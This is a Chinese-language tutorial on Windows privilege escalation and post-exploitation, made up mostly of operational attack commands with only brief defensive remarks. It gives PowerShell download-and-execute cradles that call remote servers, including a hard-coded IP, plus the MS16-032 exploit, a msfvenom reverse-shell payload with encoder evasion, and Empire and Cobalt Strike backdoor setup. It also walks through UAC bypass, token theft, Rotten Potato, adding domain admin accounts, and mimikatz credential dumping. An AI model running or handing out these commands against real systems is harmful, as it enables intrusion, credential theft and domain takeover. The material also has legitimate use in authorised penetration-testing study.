权限提升分析及防御
在 Windows中,权限大概分为四种、分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。
User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
Administrator:管理员权限。可以利用Windows 的机制将自己提升为Svstem权限,以便操作SAM文件等。
System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。
低权限级别将使渗透测试受到很多限制。在Windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。Windows操作系统中管理员账号的权限,以及 Linux操作系统中root账户的权限,是操作系统的最高权限。提升权限(也称提权)的方式分为以下两类。
常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。
系统内核溢出漏洞提权分析
系统内核溢出漏洞提权是一种通用的提权方法,攻击者可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁——即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性——如果目标系统的更新工作较为迅速和完善,那么攻击者想要通过这种方法提权,就必须找到该系统存在的0day漏洞。
通过手动执行命令发现缺失补丁
当获取目标机器色shell之后,输入whoami/groups
命令查看当前权限
可以看到当前的权限是medium中等权限,而我们再提权阶段要做得就是将此处的"Medium Mandatory Level"提升为"High Mandatory Level"。
通过执行如下命令查询C:windows里的补丁号(log文件)来了解目标机器上安装了那些补丁。
systeminfo
这里我们可以看到目标机器上安装了两个补丁。也可以使用如下命令来查看安装的补丁。
wmic qfe get Caption,Description,HotFixID,InstalledOn
我们通过其已经有的补丁,来寻找提权的EXP,将已经安装的补丁编号与提权的EXP编号进行对比,例如:KiTrap0D、KB979682、MS11-011、KB2393802、MS11-080、KB2592799、MS10-021、KB979683、MS11-080、KB2592799,然后使用没有编号的EXP进行提权。
我们可以依托提升权限的EXP和它们的补丁编号,执行下列命令,对系统补丁包进行过滤。
一:
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /c:"KB3143141" /c:"KB976902"
二:
systeminfo>info.txt&(for %i in (KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780)do @type info.txt|@find /i "%i"||@echo %i you can do)&del /f /q /a info.txt
#注:
#其中二里通过"&"分为三条命令,一将systeminfo输出到info.txt,
#二在我们给与的补丁列表进行循环查找没有安装的补丁,
#三删除info.txt文件
或者用在线的提权辅助工具:https://i.hacking8.com/tiquan/
这里我们介绍一下"WMIC","WMIC"是"Windows Management Instrumentation Command-line"的缩写,WMIC是Windows平台上最有用的命令行工具,使用WMIC,不仅可以管理本地计算机,还可以管理同一域内的计算机(需要一定的权限),而且在被管理的计算机上不必事先安装WMIC。
WMIC在信息收集和后渗透测试阶段是非常实用的,可以调取和查看目标机器的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享资源、已安装的补丁、启动项、已安装的软件、操作系统的相关信息和时区等。
如果目标机器存在MS16-032(KB3139914)漏洞,可以通过metasploit或者powershell下的Invoke-MS16-032.ps1脚本进行提权,通过ps脚本可以执行任意程序,且可以带参数执行,无弹窗。
我们将Invoke-MS16-032.ps1脚本上传到目标机器中(也可以远程下载并运行,上一章最后有介绍如何下载powershell (new-object System.Net.WebClient).DownloadFile('http://server_ip/Invoke-MS16-032.ps1','Invoke-MS16-032.ps1')
),然后执行如下命令添加一个用户名为"test1",密码为"test--123"的用户(这里没有创建账户成功)
不生成文件执行脚本
powershell -Version 2 -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://server_ip:8080/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -Commandline '/c net user test1 test--123 /add'"
下载ps1文件并执行
powershell -nop -w hidden -c "(new-object System.Net.WebClient).DownloadFile('http://server_ip/Invoke-MS16-032.ps1','Invoke-MS16-032.ps1');Import-Module Invoke-MS16-032.ps1;./Invoke-MS16-032.ps1 -Application cmd.exe"
返回了一个system权限的shell
接着我们在CS上生成一个powershell反弹shell命令
在返回的命令行中执行
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://server_ip:9090/a'))"
powershell -Version 2 -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://server_ip:8080/ms16_032_intrd_mod.ps1');Invoke-MS16-032 \"-NoProfile -ExecutionPolicy Bypass -Command IEX ((new-object net.webclient).downloadstring('http://server_ip:8088/a'))\" "
我们还可以使用msf来利用这个漏洞
首先我们利用msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 13 -b '\x00\xfff\x0a' lhost=攻击机IP --platform windows lport=443 -f exe >/root/test.exe
接着msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 攻击机IP
set lport 443
exploit
我们将生成的exe上传到目标机器并执行,接着msf受到session之后,使用background
将session放置后台,接着执行如下命令
use ms16_032_secondary_logon_handle_privesc
set session 1
exploit
shell
利用Metasploit发现缺失补丁
利用Metasploit中的use post/windows/gather/enum_patches模块,可以根据漏洞编号快速找出系统中缺少的补丁。
在进行检测时,我们需要获得目标机器的一个shell,接着执行如下命令
use post/windows/gather/enum_patches
set session 1
exploit
Windows Exploit Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要我们给出目标系统的信息即可。
使用systeminfo命令获取当前系统的补丁安全情况,并将补丁信息导入patches.txt文件。
这里我们用的msf,所以我们使用download patches.txt
将文件下载到当前目录下
接着我们执行如下命令,从微软官方自动下载安全公告数据,文件格式为xls
python windows-exploit-suggester.py --update
接着安装xlrd模块
运行如下命令,查看该系统是否存在可利用的提权漏洞
python windows-exploit-suggester.py -d 2022-01-13-mssb.xls -i patches.txt
我们可以看到目标机器存在MS16-135、MS16-075漏洞,攻击者可以利用该漏洞获取System权限。
msf中还内置了local_exploit_suggester模块,用来快速识别目标机器漏洞。
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.252.133
set session 3
exploit
Powershell中的Sherlock脚本
通过Powershell中的sherlock脚本,可以快速查看可能用于提权的漏洞,如下是漏洞列表
接着我们搜索所有或单个漏洞是否存在
#首先导入脚本模块
Import-Module .\Sherlock.ps1
#搜索所有模块
Find-AllVulns
#搜索单个模块
Find-MS14058
我们可以在cs中becon中执行elevate ms14-058 8999,其中8999是监听名字。
Windows操作系统配置错误利用分析及防范
在windows中常用系统内核溢出漏洞来提权,但是如果无法通过系统内核溢出漏洞提权的话,攻击者就会利用系统中的配置错误来提权,windows操作系统中常见的配置错误包括管理员凭据配置错误、服务 配置错误、故意削弱的安全措施、用户权限过高等。
系统服务权限配置错误
windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务都是以system权限启动的,其文件夹、文件和注册表键值都是受强访问控制机制保护的。
系统服务权限配置错误的可能
- 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务。
- 服务正在运行且无法被终止:这种符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术尝试重启服务来提权。
1.PowerUp下的实战利用
PowerUp提供了一些本地的提权方法,可以通过很多使用的脚本来寻找目标机器中的Windows服务漏洞。
在渗透测试中,可以分别集中方式执行如下命令来运行该脚本
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://server_ip/PowerUp.ps1');Invoke-AllChecks"
我们可以看到,PowerUp列出了可能存在问题的所有服务,并在AbuseFunction部分直接给出了利用方式,这里检测出AdobeFlashPlayerUpdateSvc
服务漏洞,path值为该服务的可执行程序的路径。这里AbuseFunction给出操作方式,利用Install-ServiceBinary模块,通过Write-ServiceBinary编写一个C#服务来添加用户。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://server_ip:8080/PowerUp.ps1');Install-ServiceBinary -ServiceName 'AdobeFlashPlayerUpdateSvc' -UserName shuteer -Password Password123!
2.Metasploit实战利用
在Metasploit中,对应的利用模块是service_permissions,可以利用目标机器上每一个有缺陷的服务。该选项被禁用的时候,该模块在第一次提权成功后就会停止工作
执行run之后就会自动反弹一个新的meterpreter(system权限),但是这里没有找到该漏洞。
service permissions模块使用两种方法来获得 System权限:如果 meterpreteri以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
注册表键AlwayslnstallElevated
注册表键 Always InstallElevated是一个策略设置项。 Windows允许低权限用户以 System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。
1.PathsAlwaysInstallElevated漏洞产生的原因
该漏洞产生的原因是用户开启了Winodws Installer特权安装功能。
在"运行"中输入"gpedit.msc",打开组策略编辑器
组策略一计算机配置一管理模板一 Windows组件一 Windows Installer--水远以高特权进行安装:选择启用。
组策略一用户配置一管理模板- Windows组件一 Windows Installer-永远以高特权进行安装;选择启用。
设置完毕,会在注册表的以下两个位置自动创建键值“1”。
HKEY CURRENT USER SOFTWARE Policies Microsoft Windows Installer AlwaysinstallElevated
HKEY LOCAL MACHINE Policies Microsoft Windows Installer AlwaysinstallElevated
PowerUp下的实战利用
在这里,可以使用PowerUp的Get-RegistryAlwaysInstallElevated模块来检测注册表键是否被设置。如果 AlwaysinstallElevated注册表键已经被设置,就意味着MSI文件是以 System权限运行的。运行该模块的命令如下,“True”表示已经设置。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://124.223.44.152:8080/PowerUp.ps1'); Get-RegAlwaysInstallElevated
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://124.223.44.152:8080/PowerUp.ps1');Write-UserAddMSI
msiexec /q /i UserAdd.msi
在MSF下的使用
也可以利用 Metasploit的 exploit/windows/local/always_install_elevated模块完成以上操作。使用该模块并设置会话参数,输入“"run”命令,会返回一个 System权限的 meterpreter。该模块会创建一个文件名随机的MS1文件,并在提权后删除所有已部署的文件只要禁用注册表键 Alwayslnstallelevated,就可以阻止攻击者通过MS1文件进行提权。
可信任服务路径漏洞
可信任服务路径(包含空格且没有引号的路径)漏洞利用了 Windows文件路径解析的特性,并涉及服务路径的文件文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能性
- 如果路径与服务有关,就任意创建一个服务或者编译 Service模板。
- 如果路径与可执行文件有关,就任意创建一个可执行文件。
1.Trusted Service Paths漏洞产生的原因
因为 Windows服务通常都是以 System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行
例如,有一个文件路径“C:Program FilesSome FolderService. exe”。对于该路径中的每一个空格, Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。在本例中, Windows会依次尝试确定和执行下列程序。
C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe
因此,如果一个被”适当”命名的可执行程序被上传到受影响的目录中,服务一旦重启,该程序就会以 System权限运行(在大多数情况下)。
2.Metasploit下的实战利用
首先检测目标机器中是否存在该漏洞。使用wmic查询命令,列出目标机器中所有没有被引号引起来的服务路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
我们可以看到KMSELDI服务对应的路径没有被引号引起来,且路径中包含空格,因此目标机器中存在可信任服务路径漏洞。
接着,使用windows的内置工具icacls,检测是否对目标文件夹的写权限
icacls "C:\Program Files"
这里显示我们检测的目录只有管理员才有权限,如果出现Everyone:(OI)(CI)(F),表示对该文件夹,用户有读写删除的权限,这里没有找到该漏洞。
如果漏洞存在,我们把需要上传的程序重命名并放置在存在次漏洞且可写的目录下,执行如下命令,尝试重启服务
sc stop service_name
sc start service_name
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员账号和密码等信息。这些文件列举如下(可以对整个系统进行检查)。
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
打开文件之后发现了管理员账户密码。
在msf中,可以使用post/windows/gather/enum_unattend模块直接利用该漏洞
计划任务
可以使用如下命令查看计算机中的计划任务
schtasks /query /fo LIST /v
Accesschk是 Syslnterals套件中的一个工具,由 Mark Russinovicl编写,用于在 Windows中进行一些系统或程序的高级查询、管理和故障排除工作,下载地址。基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而 Accesschk是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
执行如下命令,査看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序
accesschk.exe -dqv "C:\Microsoft" -accepteula
可以使用参数/ accepteula自动接受许可协议
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹,命令如下。
accesschk.exe -uwdgsusersc:\
accesschk.exe -uwdgs"AuthenticatedUsers"c:\
列出某个驱动器下所有权限配置有缺陷的文件,命令如下。
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwgs"AuthenticatedUsers"c:\*.*
Empire模块
首先我们建立一个监听,生成一个后门
listeners
uselistener http
set Host https://192.168.252.133:443
set Port 443
set CertPath /tmp/test/Empire/data/
execute
生成后门
usestager windows/launcher_bat
set Listener http
generate
生成后门之后我们在目标机器上执行。
Empire内置了PowerUp的部分模块,输入"usemodule privesc/powerup"命令,然后可以通过按"Tab"键,查看PowerUp的模块列表
组策略首选项提权分析及防范
组策略首选项提权
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。 SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。 SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个 SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:WindowSYSVOLPolicies 目录中。
在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码。
尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码
常见的组策略首选项
- 映射驱动器( Drives.xml)
- 创建本地用户。
- 数据源( Datasources.xml)
- 打印机配置( Printers.xml).
- 创建更新服务( Services.xml)
- 计划任务( Scheduledtasks.xml)
组策略首选项提权分析
1.创建组策略,批量修改域中机器的本地管理员密码
2.获取组策略的凭据
===============================================================================
===============================================================================
绕过UAC提权分析及防范
如果计算机的操作系统版本是 Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:)、 Windows目录、 Program Files目录,以及读、写系统登录数据库( Registry)的程序等操作,都需要经过UAC( User Account Control,用户账户控制)的认证才能进行。
UAC简介
UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改
需要UAC的授权才能进行的操作列举如下。
- 配置 Windows Updates
- 增加/删除账户。
- 更改账户类型
- 更改UAC的设置。
- 安装 ActiveX
- 安装卸载程序
- 安装设备驱动程序。
- 将文件移动复制到 Program Files或 Windows目录下。
- 查看其他用户的文件夹。
UAC有如下四种设置要求。
- 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
- 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地 Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
- 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度。
- 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行。
bypassuac模块
假设我们已经获得了目标机器的 meterpreter Shell当前权限为普通用户权限,现在尝试获取系统的 System权限。
首先我们运行use exploit/windows/local/bypassuac进入bypassuac模块,获得一个新的 meterpreter Shell
这里获取system失败。
使用bypassuac模块进行提权的时候,当前用户必须在管理员组中,且UAC必须为默认设置(仅在程序试图更改我的计算机时通知我)
当 bypassuac模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别。但因为 exploit/windows/local/bypassuac_injection模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
RunAs模块
使用exploit/windows/local/ask模块创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter Shell。
普通用户的shell需要输入管理员账户密码
输入账户密码后,会返回一个新的meterpreter shell,接着我们可以输入getuid来查看权限,接着执行getsystem来获取system权限。
想要用RunAs模块提权,当前用户必须在管理员组中或者知道管理员的密码,对UAC的设置没有要求,在使用RunAs模块时需要使用EXE::Custom选项创建一个可执行的文件(需进行免杀处理)
Nishang中的Invoke-PsUACme模块
Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC
执行GET-HELP Invoke-PsUACme命令查看帮助信息
Import-Module .\Invoke-PsUACme.ps1
Invoke-PsUACme -Verbose ##使用Sysprep方法并执行默认payload
Invoke-PsUACme -method oobe -Verbose ##使用oobe方法并执行默认payload
Invoke-PsUACme -method oobe -Payload “powershell -windowstyle hidden -e YourEncodedPayload” ##使用payload,可自定
针对绕过UAC提权的防御措施
在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性
在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限
另外,可以使用微软的EMET或 Malwarebytes来更好地防范0day漏洞。
令牌窃取分析及防范
令牌( Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在于系统中(除非系统重新启动)
令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌( Access Token)代表访问控制操作主体的系统对象。密保令牌( Security Token)也叫作认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾。会话令牌( SessionToken)是交互会话中唯一的身份标识符。
伪造令牌攻击的核心是 Kerberos协议。 Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机服务器应用程序提供强大的认证服务。
令牌窃取
假设已经获得了目标机器的 meterpreter Shell首先输入“ use incognito”命令,然后输入'list_tokens-u”命令,列出可用的令牌
这里有两种类型的令牌:一种是 Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);另一种是 Impersonation Tokens,也就是模拟令牌,它支持交互式的会话。令牌的数量其实取决于 meterpreter Shell的访问级别。假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。
从输出的信息可以看出,分配的有效令牌为"GODAdministrator","GOD"是主机名,"Administrator"是用户名。
接下来在incognito中调用impersonate_token假冒test1用户进行渗透测试,在输入主机名用户名时需要输入两个反斜杠。
Rotten Potato烂土豆本地提权分析
如果目标系统中存在有效令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。
接着我们列出可用令牌
use incognito
list_tokens -u
接着下载Rotten Potato,然后将rottenpotato.exe上传到目标主机,接着获取system令牌
upload /tmp/rottenpotato.exe
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
这里由于是administrator,所以可以提权成功,一般用户会失败。
添加域管理员
假设网络中设置了域管理进程。在meterpreter会话中输入ps,查看系统进程,找到域管理进程,使用migrate命令迁移到该进程。
#在meterpreter会话下使用ps查看进行,接着使用migrate PID迁移到该进程
添加域管理员
net user testuser 123qweasdzxc /ad /domain
将域用户添加到域管理员组
net group "domain admins" testuser /ad /domain
查看是否添加成功
net group "domain admins" /domain
同样,在meterpreter中使用use incognito 来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来添加域管理员
在活动的meterpreter会话中执行如下命令,在域控主机上添加一个账户
add_user testuser 123qweasdzxc -h 192.168.1.1
将该账户添加到域管理员中
add_group_user "Domain Admins“ testuser -h 192.168.1.1
Empire下的令牌窃取分析
在Empire下获取服务器权限后,可以使用内置的mimikatz工具获取系统密码
运行mimikatz输入creds
命令,即可查看Empire列举出来的密码
===============================================================================
===============================================================================
无凭证条件下的权限获取分析及防范
在测试中,假设已经进入了目标网络,但没有获取任何凭据,使用LLMNR和NetBIOS欺骗攻击对目标网络进行渗透测试
LLMNR和NetBIOS欺骗攻击的概念
1.LLMNR
本地链路多播名称解析是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用 LLMNR解析本地网段中机器的名称,直到DNS服务器恢复正常。从windows vista开始支持LLMNR。
LLMNR的工作流程如下:
- DNS客户端在自己的内部名称缓存中查询名称。
- 如果没有找到,主机将向主DNS发送名称查询请求
- 如果主DNS没有回应或者收到了错误的信息,主机会向备DNS发送查询请求。
- 如果备DNS没有回应或者收到了错误的信息,将使用 LLMNR进行解析。
- 主机通过UDP协议向组播地址224.0.0.252的5355端口发送多播查询请求,以获取主机名所对应的P地址。查询范围仅限于本地子网。
- 本地子网中所有支持 LLMNR的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己P地址的单播信息。
2.NetBIOS
Netbios是一种网络协议,一般用在由十几台计算机组成的局域网中(根据 NETBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在WindowsNT以后版本的所有操作系统中均可使用NetBIOS。
Netbios提供的三种服务如下。
- NETBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据报。该服务需要使用域名服务器来注册 NETBIOS的名称。默认监听UDP 137端口,也可以使用TCP 137端口
- Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责进行错误检测和恢复,默认监听UDP138端口。
- Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包造行传输,提供错误检测和恢复机制。默认使用TCP139端口
3.Net-NTLM hash
Net-NTLM Hash与 NTLM Hash不同。
NTLM Hash是指 Windows操作系统的 Security Account Manager中保存的用户密码散列值。通常保存在 Windows的SAM文件或者NTDS.DIT数据库中,用于对访向资源的用户进行身份验证。
Net- NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战响应验证中的“响应“就包含Net- NTLM Hash。使用 Responder抓取的通常就是Net- NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用 Hashcat等工具得到明文后进行横向移动攻击。
LLMNR和NetBIOS欺骗攻击分析
假设目标网络的DNS服务器发生故障,会退回LLMNR和NBT-NS进行计算机名解析。下面使用Responder工具进行测试SpiderLabs/Responder
Responder是监听LLMNR和NBT-NS协议的工具之一,能够抓取网络中所有的LLMNR和NBT-NS请求并进行相应,获取最初的账户凭证
Responder可以利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器、DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay功能在目标系统中执行命令。
Responder是使用python编写的,接着将其下载到本地,下载地址。
测试